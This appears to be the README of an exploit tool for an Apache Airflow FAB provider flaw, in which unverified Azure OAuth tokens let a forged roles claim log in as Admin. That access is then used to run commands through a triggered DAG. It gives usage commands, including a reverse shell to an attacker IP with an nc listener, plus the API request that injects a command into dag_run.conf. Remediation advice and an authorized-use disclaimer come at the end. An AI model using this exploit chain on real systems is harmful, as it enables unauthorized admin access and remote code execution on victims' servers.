
Authentication bypass in Apache Airflow's FAB auth-manager
provider (apache-airflow-providers-fab), leading to remote code execution via a triggered DAG.
The provider decodes the Azure OAuth id_token with signature verification disabled by default
(airflow/providers/fab/auth_manager/security_manager/override.py, _decode_and_validate_azure_jwt):
verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
... # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload)) # raw payload, NO signature check
The claims map straight to identity — oid → username, roles → role_keys — and
AUTH_ROLES_MAPPING turns a roles=["Azure-Admins"] claim into the Admin role. Since the
token's signature/issuer/audience are never checked (CWE-347), an attacker who completes the
OAuth flow authenticates as Admin with no real credentials. An Admin can then trigger a DAG
that executes arbitrary commands.
apache-airflow-providers-fab < 3.7.3 (with apache-airflow >= 3.0.2)3.7.3 (default flipped to verify_signature=True; token validated against Microsoft's JWKS)8080 (Airflow UI + REST API)Python 3 standard library only. The target must have the FAB auth manager with the vulnerable
Azure OAuth provider configured, and (for the RCE step) a DAG whose task runs attacker-controlled
dag_run.conf.
python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444 # nc -lvnp 4444 first
GET /auth/login/azure → IdP → /auth/oauth-authorized/azure)
with a cookie jar. FAB accepts the unsigned/forged id_token and logs in as Admin, setting a
session cookie and a _token cookie (the JWT the REST API expects).POST /api/v2/dags/<dag>/dagRuns (Bearer _token) with {"conf":{"cmd":"..."}}
triggers a DAG whose BashOperator runs dag_run.conf['cmd']. Use a unique logical_date
per run (the (dag_id, logical_date) pair is unique in the metadata DB).The tool also rewrites the loopback host in the OAuth authorize redirect to the target, so it
works against a remote target whose IdP is advertised as 127.0.0.1 in the server config.
This exploits the token-verification flaw. Reaching Admin requires the OAuth flow to yield a token
with an elevated roles claim — trivial where the IdP/token can be influenced, since Airflow never
verifies the signature. The RCE step assumes a DAG that executes dag_run.conf (a common pattern);
otherwise Admin access can be leveraged through other Airflow features.
Upgrade apache-airflow-providers-fab to ≥ 3.7.3; never map externally-asserted OAuth role claims
straight to Admin; don't run Airflow as root; keep the UI/API off untrusted networks.
For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.